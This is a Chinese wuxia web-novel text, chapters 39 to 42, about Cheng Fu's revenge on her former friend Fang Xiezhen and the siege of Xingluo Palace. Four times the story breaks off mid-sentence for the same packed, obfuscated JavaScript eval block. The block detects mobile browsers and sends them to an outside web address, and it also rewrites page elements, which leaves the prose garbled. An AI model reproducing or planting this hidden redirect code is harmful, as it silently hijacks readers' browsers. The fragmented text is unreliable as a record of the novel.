方撷真跌坐在地上,怔怔瞧一眼姨母,以为这其中有什么缘故,莫不是一旦触碰到武红英,武红英便会出岔子? 可是武绿华方才才碰过,什么事都没有。 “为何不叫我碰她?!她是我母亲!” “你也知道你是她的女儿?” 武绿华冷笑:“她奋力抗敌、生死攸关的时候,你去哪里了?苦熬着等你的时候,你去哪里了?” 方撷真的皮肤一点点皲裂开,光影在她脸上斑驳地脱落。 “她只剩一口气,只能用这法子保住命。”说着,武绿华碰了碰冰棺边缘,“但她不肯,她说要等你回来,再见你一面。” 山洞里应当有暗河,方撷真听到低沉的水声,那水波涌到她心口来了,她快要溺毙其中。 “等得越久,越是危险。我别无办法,只能强行叫她睡过去。只是,不知姐姐何时能醒。”武绿华的睫羽颤了颤,两颗泪从中坠落,滴到她姐姐的面颊上,“都看天意了。” 乱糟糟的心绪压迫着方撷真的每一寸肌肤,她难以置信地睁大眼睛,悔恨不已。 “水月谷元气大伤,需要休养生息很长一段时间。星罗宫也必须付出代价,陈肃那死老头,我是一定要杀的。” 武绿华说了什么,方撷真半个字都没能听进去,只瞪着空洞的双眸,朝冰棺里头望。 她还是回来晚了,想说的话没能说出口,如果她再快一点赶路,如果她早一些淘汰,如果和程芙过招时再小心些,她或许就能见到武红英最后一面,和母亲说上话,将她夺魁的喜事告诉母亲! 她和武红英的愿望皆破灭了,母女俩谁都没能和谁说上话。 ……都是程芙,都怪程芙! 39.决裂(5) 程芙终究没有从澄意山庄搬出去,她的师娘不答应,朋友不答应,她自己也迷茫,此事便搁置下来。 也许将来还会付诸实践,但至少不是今日。 晚秋的寒凉与初春的寒凉很是不同,它更肃穆萧瑟些,随日升月落,万物都将凋零,看不到希望。 “还来不来?”白霓裳已陪徒儿练了半个时辰的剑。 武功这东西,一日不练自己晓得,五年不练,所有人都晓得。 不论是速度还是技法,程芙都有了明显的退步,对局势的判断也不如从前精准。 没关系,她只有九岁的时候,尚只能举起很轻的剑,那个时候,白霓裳便一招一式悉心教授她了,如今不过复现一遍,白霓裳乐意为之。 没关系,她从来不是习武的天才,如今不过重踏来时路,而她能比来时走得更好。 “再来。”程芙进屋换下湿透的衣裳,洗了把脸,“再来半个时辰。” 数届论剑,白霓裳对水月谷剑法的路数早有了一定的了解。她时不时在将水月谷剑法化用进自己的招式中,纵使不够“本味”,却也能帮上程芙。 程芙如今只有一个念头。 她不许方撷真再活在世上。 是她帮助方撷真精进了剑法,是她给了她一把削铁如泥的宝剑……她是一切的罪魁祸首。 这罪名是自己的吗? 有时候白天,程芙觉得自己也很无辜,有时是孤寂难明的夜,她便一次次将罪名背到身上来。 夜里总比白天想得多,夜里想的东西,总是更深刻痛苦、偏执疯狂,程芙便在一个个长夜里笃定了搜集自己的罪。 于道义,于私心,她都必须选择这样一条路。 “你多歇一会儿吧,我也歇歇。”白霓裳却累了,兀自坐到石凳上去,“这样没日没夜地苦练,不是办法。” 她完全理解徒儿的恨,却怕徒儿误入歧途,被仇恨蒙蔽了眼,因而时时提一句:“你阿婆到底保住了性命。阿芙,不要太执着了。” 面庞上的水珠还未干,浸湿的睫羽扑棱扑棱闪着,程芙眼尾掠过落寞:“我没有办法不执着。我有责任。” 白霓裳心中痛惜,她的爱徒本就不是活泼开朗的人,经逢变故,整个人消瘦许多,这件去年还合身的玄色武袍,而今竟能由秋风灌满衣袖了。 “你不要把什么事都往自己身上揽。”白霓裳叹道,“她性情大变,突然就莫名其妙地和你疏远,怎知不是她自己的原因?” 程芙咬唇,一言不发。 她至今不知方撷真为何突然与她疏远,从前没有机会问,以后没有必要问。 反正下次相见,唯刀剑而已。 “今天便练到这里。”白霓裳替徒儿做了决定,她认为徒儿需要休息,“你底子好,重回昔年的水准不难。不要把自己逼得太紧,复仇不是你人生最重要的事。去铸剑吧。” 去铸剑吧。 白霓裳抚了抚程芙的面颊,柔声重复了一句:”去铸剑吧。先画图稿,好吗?” 耳朵里痒痒的,原来是白霓裳的话音化作一尾尾雪白轻盈的鸿羽,钻进了程芙耳中。程芙接纳这着师娘的话,又因身体的本能,想将这些挠人异物排出去,图个清净。 最开始痒的是耳朵,继而便是眼睛了。程芙拼命瞪着眼,可惜她忘了眼睑本来就不能当堤坝用,这是人间最劣质的堤坝。 于是程芙的眼泪簌簌滚落,她也想闷到剑庐里去,那里才是她的天地,她仅需听一听锤子的叮咚声,便能心旷神怡。 “我没有时间。”程芙哽咽一下,扬手抹净了泪,“方撷真活得越久,被她所害的人就会越多。” 她放弃了一切的娱乐,手腕甚至因为握剑发痛肿胀,这是骨头关节太过劳累所致的问题。大夫叮嘱她不可频频用手,否则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356292|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只怕手会废掉。 还好有几位交好的同门强行拉他出去,哪怕她沉默着不言语,也总比右手废掉要好,比整颗心都泡成仇恨的滋味要好。 而在次年暮春,澄意山庄收到水月谷的暗中邀约。 水月谷使者与裴庄主单独会面,极力陈情星罗宫光鲜亮丽外表下的丑陋可恶,屡屡描述星罗宫是如何草菅人命。 最后使者激愤道:“如此邪教,怎能不除!澄意山庄威望颇高、实力厚伟,若能相助,便是为天下除害!” 可惜,澄意山庄虽为“正派”,也和风评恶劣的门派势力保持着距离,却很少插手需要站队表态的事。 故而裴庄主虽盛情款待了使者,却对是否参与围剿星罗宫一事不置可否。 背地里,裴雁晚将此事说给程芙听。 “还不晓得围剿的策划人是谁。” 裴雁晚玩着拒霜剑的剑穗,那是她亲手缠的,好几年了,都褪色了,程芙也想不起要换:“只听说如今水月谷掌权的人,是二谷主武绿华,方撷真倒没有几分话语权。” 程芙蓦然掀眸:“为何?” 那场由星罗宫施加给水月谷的劫难,江湖中人人耳闻、人人传听,原来一个愚蠢的掌门,就能毁了一个门派几十年积攒的名声。 裴雁晚道:“武绿华做了多少年的二谷主了?方撷真才几岁?两方在派中的威信、人心从来没有对等过。” 指尖哒哒敲在桌上,程芙哑声问:“我们山庄应当不会参加围剿,只作旁观。” “嗯,我们不缺那点儿名望和口碑。区区一个星罗宫,水月谷略纠集几派围攻也就拿下了。”裴雁晚听得心烦,不许程芙再敲桌子,故往友人手背上一拍,“倒是你——” 程芙凝眸望向她。 “你少插手是非。”裴雁晚一字字嘱咐,“但你若想和谁见面,万万小心些。记得,提前告知于我。” 40.参商(1) 围剿星罗宫,定在永宁五年的初秋。 此事当然秘密进行,谁都没有泄露。星罗宫行不义之事,背地里的所作所为要被一点点披露在江湖中,饲养怪兽、罔顾人命……桩桩件件,罄竹难书。 算上水月谷在内,共有五派参与围剿。这五派便依照决定,悄无声息地汇聚在星罗宫一百多里外。 月明星稀的夜,方撷真闲来无事,任手中的草梗落入篝火的巨口,遁入虚无。 去年冬天,白术便悄无声息地病死了。 他死得糊涂,真以为自己是病,却不知方撷真查清了他与星罗宫暗中的联络,晓得是他出卖自己,才命人给他下了一种无味无色的毒。 是白术将偷金乌翎一事卖了出去,是白术道破了破解水月谷山门机关的方法…… 方撷真自诩做得仁慈,没有对白术动用重刑,还留了全尸,不过,那一味毒服下去,足够令白术痛苦得恨她恨到来世了。 “不要走神。” 耳畔响起一道话音,有许多次,方撷真都将这声音错认。 她徐徐抬起脸,果然不是武红英,而是水月谷二谷主武绿华。 武绿华蹙眉瞅了侄女几眼,寒声道:“我们拟订好的计划,你要在心中再过一遍。” “我知道,不必你说。”方撷真不以为意,“把陈肃留给你杀。” 陈肃便是星罗宫宫主,他的侄子带头攻打水月谷,被武绿华剁了拿去喂狗。可武绿华犹不解气,还要拿他这做叔叔的出气。 武绿华没什么话需要多叮嘱的,遂放任了方撷真烧草梗玩。 倒是不断有徒子来向她汇报事宜,譬如其余四派的掌门啊、首徒啊来拜访,又或者哪个徒子经不住长途跋涉之苦,不幸病倒。 武绿华懒得理会的小事,就交给方撷真做。她虽被姐姐武红英收回权力多年,却始终是名正言顺的二谷主。 她生在水月谷,长在水月谷,长辈们看着她长大,后辈们受过她照拂——武红英昏迷不醒后,她比方撷真更得人心,也因阅历的丰富更有心机手段,轻易将大权独揽。 “等剿灭星罗宫,我母亲的事,你到底有没有头绪?” 母亲昏迷已有一年,那口蓝莹莹的冰棺,方撷真日日都要依上去,期盼着武红英能醒转,摸一摸她的头。 一年来,她除了常到瀑布后的石室里坐一坐,便是同姨母筹谋如何向星罗宫复仇,再就是不要命似的习武,连寻找枯心露最后一味原料都搁置了。 只待一切尘埃落定,只待尘埃落定。 等大仇得报,方撷真便可以去报“小仇”。 那个害她未见到武红英最后一面的人、极有可能酿成她终身遗憾的人、石头似的压在她心口许多年的人,必要付出代价。 武绿华不再年轻了,有时精力不济也是有的。她背靠一株枯树,手掌搁在膝头,以前这地方,总是睡着姐姐:“我比你心急。” “是吗?”方撷真不屑地笑。 怕是巴不得武红英不要醒,好长久地把持住权力吧。 “你以为呢?”武绿华眸色晦暗,眼珠子幽幽地朝方撷真身上挪,“你不过是半路才找回来的,不比我陪着我姐姐四五十年。你也配和我比吗?” 方撷真哑然,深觉这话微妙极了。 她不觉得姐妹能比过母女,她是武红英的肚子里出来的,当然和武红英有更深刻的链接。 方撷真懒得和武绿华辩论什么,又道:“那便是暂且没有办法了。若是晓得鬼医的下落便好,兴许她有法子。” 找到鬼医便是一举两得,一来有望找到碧草灵花,二来武红英也有了醒转的希望。 武绿华没说话,全然当没听见,其实她还不清楚侄女的打算吗? 侄女心里还惦念着方虹,这就是她最看不上的地方,回了水月谷,受了姐姐那么多好,却还念着别人,这算什么? 她沉默了会儿,仰头一望天色。 月亮快行到西山山头了,再过几个时辰,天便要亮。 这时有人来报:“二谷主,时候到了。前面的探子回来传话,我们可以动身了。” 武绿华凝眸,吩咐诸人启程。 * 攻入星罗宫时,天就快亮了。 武绿华本不准备光明正大,意欲暗中进攻,打一个猝不及防,奈何同盟们自认为此举极正义,若是偷偷摸摸,倒显得不够磊落坦荡。 她不由发笑,什么磊落坦荡,本就不管她的事。哪有杀人复仇还将就光明磊落的?岂不是笑话。 但也无妨,大事未成,不好起内讧,武绿华终是同意了同盟们的提议,将所有可能存在的情况都反复推演。 随林间一声乌鸦的鸣啼,星罗宫大门被攻破,掌门陈肃携徒子抵抗无果,竟埋头逃去。 方撷真自是不放过这机会,凭什么要将陈肃的命让给武绿华?她偏不! 便在武绿华提剑前,她牟足了劲儿运转轻功,身轻如燕地腾挪一段距离后,稳稳拦住了陈肃的去路:“还想跑?” 陈肃大惊,又要折返换个方向逃,却不想来路也被堵住,他插翅也难飞:“岂有此理!你们仗势欺人、以多欺少,这便是所谓豪侠?!——来人,来人啊!” 哪里有人肯救他,自从星罗宫背后做的丑事传了出去,出走的徒子不在少数,留下的即使有忠于门派的,却也大难临头各自飞,只顾得上自己了。 方撷真暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15361358|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗发了笑,犹记得去岁云州遇见陈肃这老头,还当他圆滑内敛,原来只不过是个色厉内荏的草包老头:“你欠我母亲的命,慢慢还吧。” 说罢,她竟不此陈肃,而是飞身挑开了武绿华捅来的剑:“不要杀他!留着命,慢慢折磨!” 武绿华起先还不以为然,觉得陈肃的贱命不值多活一日,她向来是个杀伐果断的人,不以折磨人为乐,武红英也不许她这么做。 但转念一想,方撷真或许还真能叫陈肃生不如死,遂勾唇笑道:“那便看紧他。” 星罗宫的地势易守难攻,只因多是深长峡谷,阵型施展不开,好在人心涣散是最大的致命伤,不到半日,便死的死、伤的伤、投降的投降。 从今往后,世上不再有有关星罗宫的故事。 星罗宫立派宫主是何等的侠肝义胆、义薄云天,她怎能料到自己一手建立的门派与侠名,全在今日毁于一旦。 各派皆有死伤,武绿华略一思虑,决定还是将医治伤员、清点死伤以及与各派沟通的事宜交由自己的心腹,不叫方撷真插手。 一年以来都是这样,方撷真慢慢失去在谷中话语权,她再不服气,也奈何不了势单力薄。再后悔也已经晚了,要笼络人心实在要耗费太多光阴。 方撷真唯有一步一步来。 她请龙葵探听过自己在同门里的风评,结果诸人大都闭口不提,生怕得罪了什么人似的——方撷真便从大家的恐惧里察觉端倪,她啊,不得人心。 武红英教会女儿很多事,要有少谷主的自觉,要勤学苦练,要心狠果决,独独忘了教圆滑处世。 “姨母,我随大家看看伤员。”方撷真说罢便要走,却在转身的一瞬,骤然觉得天色暗了。 而且只暗了她这一块。 从阴影里掀起眸,只见近处的山崖上,立着一道挺拔身影。 靛蓝衣裳,银白长剑,身形比记忆里瘦了许多。 程芙站得不高,一二十尺罢了,可她投下的阴影,却彻底将方撷真笼住,宛若一张难以挣脱的网。 在她身边,还跟着一个怯生生的姑娘,像是没见过大战后的血腥场面,正吓得瑟瑟发抖。 方撷真认出这姑娘,她曾在留阳村见过她。 “光熙二年,你与魔教血刃峰达成了交易,在雪原上设下陷阱,欲以人命做条件,向血刃峰投诚。那年你杀了第一个无辜的人。” “光熙三年,伏光门魏澄,是你杀的第二个人。……永宁元年夏天,你在留阳村,杀了三位罪不至死的无辜百姓。” 程芙拔剑出鞘,语气中似有不忍,更多的却是坚决: “这些年,你手上沾了多少人命?方撷真,你还有话要说吗?” 41.参商(2) “这些年,你手上沾了多少人命?方撷真,你还有话要说吗?” 程芙的嗓音像一把碎雪,稀稀落落地洒在方撷真头顶,冷得彻骨。 她仰头紧盯曾经的友人、如今的仇人,嗖一声拔剑出鞘,厉声道:“无稽之谈!你可有证据!” 话音才落,方撷真与许多在场的侠士,皆愣了愣。 这场景好熟悉。 许久之前,也许是八年前,也许是九年前,方撷真乱糟糟的脑子实在思考不了具体的日期——那时候也有人站在高处,一字字道出她犯下的“罪孽”。 程芙不是小琴魔,甚至曾经为了她抵抗过小琴魔。 现在,程芙却做了和小琴魔一样的事,那么,谁来做和昔年的程芙一样的事? “我就是人证!” 躲在程芙身后的姑娘泪眼婆娑,指着方撷真朗声道:“是你带人进了我们留阳村,杀了我哥哥和另两位无辜百姓,他们罪不至死!我一辈子都记得你!” 此言一出,全场哗然。 其实有的事情,不能仅凭一家之言便定论,有人明白这道理,遂向方撷真询问道:“武少谷主,果真如此吗?程大侠所言当真?” “当然不是真的,”方撷真还算冷静,“我与程芙早已决裂,她空口污蔑我,也是有的。” 她望向姨母,略眨了眨眼,指望始终冷眼旁观的武绿华为自己辩解一二,毕竟她们是亲姨侄,是攻打星罗宫的同盟,以后还要共同筹谋苏醒武红英的事。 下一瞬,方撷真却清晰在武绿华眼中品出不屑和清浅的笑意,她吃了一惊,暗道不妙。 只见武绿华在众目睽睽之下后撤两步,作愕然之态:“真儿?那些事真是你做的不成?原先我还不信,因为你是我姐姐唯一的骨血,即使再如何风言风语,我也不敢听信半个字。而今听程大侠一说,我倒真怀疑了!” 武绿华此言,便是说她之所以“不信”,只因亲人血缘,而不是因为方撷真当真“清白”。“风言风语”四字也很经得起推敲,究竟是哪里的风言风语,什么风言风语,这风言风语在水月谷也止不住吗? ——恐怕事情真值得琢磨了。 方撷真的脑子嗡一声,难以置信地瞪着演戏的武绿华。 不错,她与姨母的关系的确说不清,不像血肉相连的亲人,因为总有隔膜,也不像仇人,因为她们能坐在一起好好说上几句。 年少时的仇恨淡了,她和杀母仇人做了利益同盟,却不想还是遭了算计。 八|九年前,程芙是如何封了小琴魔的嘴,诸人都是晓得的,那日在场的有不少人,也参与了今日的围剿。 旧友、亲人、死者亲属,再加上曾经的小琴魔,几人或有预谋或突然的指认,逼得方撷真喘不过气,连握剑的手都不稳。 何为“众口铄金”,方虹曾教了许多次,方撷真都不明白,今日终于得以感同身受了。 不成,方撷真咬了咬牙,不能就这么认输,她不是孤身一人,她也有信任的部属! 遂将目光匆匆移向不远处的龙葵,然而在四目相接的刹那,脑海里蓦然蹦出一个念头——完了。 龙葵才拼杀过,半张脸都是鲜血,这使得她的面容格外惊悚骇人,好似教她嘶声吐出的话,都是那么不容置疑: “少谷主,你认了吧!回头是岸啊!” 完了,全完了。 指认方撷真的人又多出一个——她最信任的下属。 时过境迁,不会再有人为方撷真辩解。 那个曾为她辩解过的人,成了出卖她的人;曾为她一掷银针、为她摆平血刃峰的人,躺在冰棺里昏睡。 方撷真犹如一片飘落的树叶,所有人都好奇地看着她要以各种姿态凋零,慢悠悠的、打着转儿的…… “你为了偷金乌翎,害死阿夏,又疑心白术不忠,给他下了剧毒!”龙葵上前几步,生怕谁听得不清楚,“少谷主,你认错吧!” 方才在角落里,龙葵瑟瑟发着抖,她必须从方撷真和武绿华里选出一个正确的人站队,否则日后性命难保。 水月谷由武绿华一人揽权,唯有顺了武绿华的心意,才有活着的可能。 因此龙葵将方撷真出卖得极为痛快,毫不犹豫。阿夏死无全尸,白术死状惨烈……她真怕自己有一天要步他们的后尘! 顶着逐渐沸腾的人声,方撷真再度微微仰首。 有许多次,她以同样的姿势抬头注视程芙。 她是被刺客追杀的猎物,程芙是能一剑封喉救下她的侠客;她是孤苦无依的孤女,程芙是教她剑法的老师;她是犯了错迷茫得不知路在何方的刽子手,程芙是为她买糕点哄她不要哭的挚友。 每一次,她都仰望过程芙,程芙那么强大、光芒四射;这一次,也不例外,方撷真还是以如出一辙的姿态,稍微抬了抬下颚。 程芙站在峡谷上方漏下的一线流光里,居高临下,而她是千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368421|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫所指、草菅人命的妖魔。 她赢过她,却好像永远赢不了她。 程芙的失意落寞,方撷真都见证过,故而她晓得程芙并不像传闻所说强大到了极点,程芙也会哭,也会输;可在世人眼中,逊于一筹的人好像永远都是她方撷真。 凭什么?为什么? “程芙……”方撷真哑着喉咙,握紧了翠微剑,“程芙——!” 随一声厉喝,方撷真纵身跃起,矫若游龙地冲向山崖上冷静的仇人。 她眼里没有场合,没有清白和污蔑,她不需要向谁证明什么,她只想要程芙死—— 正午时分,阳光极盛,照亮这湾狭长的山谷,拒霜剑上寒芒一点,从容击破翠微的进攻。 程芙的攻击之意竟不浓烈,颇为难寻,她见招拆招,防得滴水不漏:“方撷真——你不应在世人面前忏悔吗?” 忏悔?!方撷真从未听说过这两个字! 她就不是个为“悔”而困的人,她的剑永远指着别人! 山崖上的两人越打越激烈,但凡是明眼人,都会被方撷真的杀意所震颤,偏偏程芙不像要杀人的模样,她更像要将方撷真活捉,让方撷真如她所说,向世人忏悔。 “武谷主,这、这……”这样一出好戏,也有人看不下去了,低声试探武绿华的态度。 武绿华兴致正浓,却也晓得侄女的实力不容小觑,若放任下去,方撷真未必会输。 她故作痛心疾首,往自己心口按了按:“也怪我这做姨母的教导无方。我姐姐成日里忙碌,身体又不好,我该多管教侄女才是。” 当务之急绝不是反思,而是以水月谷二谷主的身份,与方撷真割席。 武绿华遂清了清喉咙,高声宣布道:“方撷真为非作歹,已不配为我派徒子!从今日起,我水月谷不再有方撷真此人!” 像是一柄比拒霜剑还锋利的利刃,武绿华这话不偏不倚捅进方撷真心窝。 方撷真分了神,肩头不幸为拒霜所伤,她被抛弃了、被放逐了……她没有亲人朋友,没有栖身之所了! 伤口处剧烈的疼痛促使她清醒,方撷真凝眸,聚精会神避开程芙的迎面一剑,再使了个虚招,趁机反身猛纵—— 方撷真的轻功学得很好,程芙早在留仙原上便称赞过。 她堪称身轻如燕,蹭蹭蹭几次借力跃身,便上了峡谷高处。在喧嚣的人声里,她连片刻的回望都不曾有,轻易消失在众人的视线中。 42.参商(3) 自从三年前方撷真失踪,江湖里便没有她的消息。 她大抵是死了,大抵还在某处苟且偷生,有人说她更名换姓,重新开始生活。 身败名裂,难以挽回,只能去没有人认识她的地方才能活——至少大部分人都是这样想,而方撷真本人作何想法,无人晓得。 云州城的初冬没什么特别景色,比雪景比不上扈县,比和暖比不过南郡,它唯有在树叶仍挂枝头的时节才称得上风景秀丽,尤以秋天为盛。 秋天里,漫山遍野都是红……红,程芙怔了怔,竟在这恍惚间觉得指尖一痛,低头一看,原来锅里的油已经烧开了。 程芙忙将切好的菜倒进锅里,才不慌不忙将指尖放入凉水里。 今年春天,程阿婆寿终正寝,去的时候很安详,睡一觉便走了。 她年老之后常常遗憾孙女长得不像女儿,不能供她再想一想女儿长什么样,万幸睡那场觉之前,她并没有这遗憾的想法。 阿婆去后,程芙请人挑了块风水宝地做墓穴,她自己死在何处、葬在何处无所谓,但至亲的坟墓,必要是好地方。 而后,她辞去剑庐主管的职务,从澄意山庄搬进云州城的一条安静小巷子里。她的积蓄还算丰厚,又是个物欲淡薄的人,即便余生游手好闲,也不至于饿死。 十六年前暂替师兄接管铁匠铺时便晓得了,她不适合做生意,就只适合一个人待着,偶尔和至交亲友来往便能快乐。 有时,街坊四邻的请她帮忙打把锁、铸把刀,她都会答应,虽分文不取,但邻居们过意不去,都会象征性地给一些,又或是谁家下了鸡蛋、割了猪腿,特意拿一些给她。 后头有个院子,程芙和裴雁晚争了一场嘴,说种什么树好,裴雁晚喜欢木兰,她的居所便种了颗珍品木兰,程芙不乐意,说我家种树管你什么事,把裴雁晚气得酒都不喝了。 而方撷真的消息,三年了,一句都没有传到云州来。 “过些时候,我回老家一趟。”程芙推了推锅铲,这话却是说给白霓裳听。 白霓裳坐着矮板凳,弯腰淘洗一颗颗嫩绿的青菜。她偶尔会到程芙的新家来坐坐,师徒俩吃顿饭、喝点酒,倒也惬意:“回去做甚?” 程芙神色稍滞,可她背对着白霓裳,脸上的异常不被任何人发觉:“是我阿婆的遗愿,希望我能待她回去瞧瞧。” “先前怎就不去?你阿婆夏天便走了,这都快入冬了。” “夏秋两季,海云关多热。何况街坊四邻请我帮忙打东西,我也抽不开身。” 白霓裳有疑心,疑心却不够坚定,轻易便被徒儿打发消解。 她的几个徒儿里,最放心的便是程芙,许是年少时的经历,程芙比同龄人早慧一些,性子沉静,很少叫人操心。 这么多年,白霓裳几乎没有为程芙担忧过——但若细细盘算,也并非一次都没有。 便好比三年前诸派围剿星罗宫,程芙明知澄意山庄不参与其中,却还出现在了现场,无情揭露水月谷少谷主的真面目。 自那之后的很长一段时间,江湖里有三件纷纷谈论的事。 其一,建派八十余年的星罗宫灭门。 其二,被视为武林新秀的水月谷少谷主方撷真,原来恶贯满盈。 其三,曾当众为方撷真出头、痛斥小琴魔的谋剑程芙,似乎已与旧友决裂,原因不明。 既然原因不明,那么就编造原因,毕竟人的这张嘴,最擅长的便是编故事。 有人说,方撷真习武天赋奇高,程芙心生愱恨;有人说,方撷真邀程芙加入水月谷未果,和故人翻脸;还有人说,方撷真作恶多端,程芙无法坐视不理…… 倒还有人,从来不晓得程方二人曾有交情,听完故事,竟大喊道:“什么?她二位居然认识?!不仅认识,还有孽缘?” 刀剑快意的恩仇,无趣俗套的风月,难以揣摩的人心,都在一张张大小、颜色各异的嘴里说尽了、说倦了。 “好,那便去吧。”白霓裳垂眸,“你身上没有担子,你是自由的。” 程芙是自由的。 她的理想——铸剑,已被搁置了三年。 她的亲人——母父与姥姥,皆已不在人世。 她的朋友同门——都是无需她来担心的人。 程芙没有牵挂,当然是自由的。 可她仍惦记着一件事。 * 长阴镇地处大殷西南边陲,偏僻荒远,气候湿热,因为处在两国交界,常有商队途径,故而倒不算太贫穷。 推开窗,方撷真看见长阴镇蔚蓝的天幕。 她还记得小时候,方虹在院子里洗衣裳,她才睡醒,只听见窗外哗哗的流水声,只需把窗一推,方虹便和房顶上的蓝一道入了眼。 深深吸了口气后,方撷真又检查了一遍枕头底下的东西,披衣出门。 院子里有人在等她,是长阴镇的镇长:“……好像是几头狼,也可能是别的东西,豹子、大虫什么,李二胆子小,没看清楚,所以我也不敢给个定论。” “到底有几头?” “两三头吧,也可能是三四头……” 方撷真斜睨镇长一眼,无奈地抿了抿唇。 这可将镇长吓得心脏一突,扑通扑通猛跳好几下。 他不知道这位姓方的姑娘从何而来,只知她常带一把银色的剑,会点儿武功,脾气不太好,而且一年到头,只在镇上住短短几个月,剩下的时间她在哪里,无人知晓。 那年镇子里闹兽灾,一头熊进镇吃了人,是这方姑娘提剑而上,捅死了那作恶的怪物。 边陲小镇,山林广阔,有些熊啊虎啊的,也不奇怪,镇上虽组建了自卫队,但镇民们小心翼翼心惊胆战地摸索,和方姑娘出手利落的英姿是比不了的。 之后再有事,来个野兽山贼什么的,便会有村民提议去请方姑娘,一来二去,这竟成了不成文的约定——凡是镇民们不敢的,需要身手不凡的人才来摆平的,都来请方姑娘。 方姑娘脾气不好,不爱笑,却从不推辞,也不要报酬,镇民们倒很敬重她的义举,连酒肆的老板,也少收她两文酒钱。 问清了那野兽的位置,方撷真便提剑进山了。 她做这种事从来不叫自卫队跟着,怕碍手碍脚,自己还要分神救别人的命。 方撷真出手很痛快,不出半个时辰便带着两颗血淋淋的虎头回了镇。 回来后也没什么态度,只将虎头扔到看热闹的人群边上,惊起此起彼伏的一串尖叫,便回家洗漱更衣。 在这之后,她到酒馆里,向掌柜买一壶酒来喝。照惯例,少收她两文钱。 酒肆不大,东角里说什么话,西角都能听得一清二楚,何况方撷真耳力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384771|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过人,要听清别人的聊天声,轻而易举。 可是酒肆里还能谈什么话? 在长阴镇住了三年下来,方撷真的耳朵早就起茧了。 谁家打架了,谁家死人了,谁家孩子没钱上学堂了……几乎没有新鲜事。 镇民们都晓得,没有要紧事,少和方姑娘说话,好话也不行。 故而方撷真独自静静地坐着,任酒肆里的客人谈天说地,话头总落不到她身上,除非有外地人经过,酒客们的话题才稍微丰富些。 “我不喝酒。” 方撷真一愣。 这说话的是个女客,嗓音轻淡平和,宛若山巅抓不住的云。 方撷真为此挺直了脊背,纠结数次后,借余光迅速地回头瞥一眼,只见是一群外域模样的商人,一颗悬着的心方安稳落地。 不是她。 声音很像,但不是她。 那个人,怎会平白无故到长阴镇来? 那个人揭穿了水月谷少谷主的丑陋面目,多么正气凛然,多么侠气巍巍,这三年里,程芙应当享受着人们的交口称赞,精进着剑术和锻造术,好好做她的“程大侠”吧? 方撷真和她,终究背道而驰,成了两个世界的人, 一个失意落寞,潜藏在这偏远小镇,另一个风光无限,仍是百年大派的首席徒子。 想至此处,方撷真揉了下眼眶。 不成。 她是要回去的。 她还有未完成的事。 ……枕头底下那两张方子,兴许能让武红英醒过来。 说来可笑,方撷真根本不晓得武红英是个什么情况,醒了?还睡着?还是已经死了?可她既历尽辛苦求到了药方,便得想法子试一试,若做得再多些,就杀了武绿华,夺回属于自己的东西。 至于炼制枯心露的最后一味原料,她迄今没有找到,她甚至怀疑世上是否真有这东西,死死藏着不肯冒头。 那支商队在酒肆里落座了。 其中有一位女客,声音和程芙很像。 方撷真本不想听的,却禁不住商人们的话音总往耳朵里来。这群人有些外域口音,她听得费劲吃力,一路下来只懂了“酱牛肉不够味”“不要那种劣质草料”等毫无意义的话。 恰在此时,方撷真后背浮起一丝凉意,仿佛有什么人在暗处盯着她打量。 “谁!” 方撷真即刻拔剑而出,循着直觉奔出酒肆,可周围着实一个人都没有,唯有街上路过的一对母女,迷茫地望着她。 “到底是谁!” 不止这一次,数年来,方撷真总觉得身边有一道模糊的目光,悄悄落在她身上。 然而当她前去搜寻,甚至特意布下陷阱诱其上钩,却都是一无所获。 难道是程芙?会不会是程芙? 方撷真瞧了眼那位嗓音肖似程芙的商人。 ……不会的,她们约定的时间快到了,程芙没必要特意追来长阴镇。 时间一到,总能见面。 三年前,星罗宫,方撷真自知行为败露后必然掀起风波,需要躲藏一段时间,等风平浪静再现身,却还是在跃身离开前,在程芙耳畔匆匆低语了一句话: “三年,你我做个了结。” 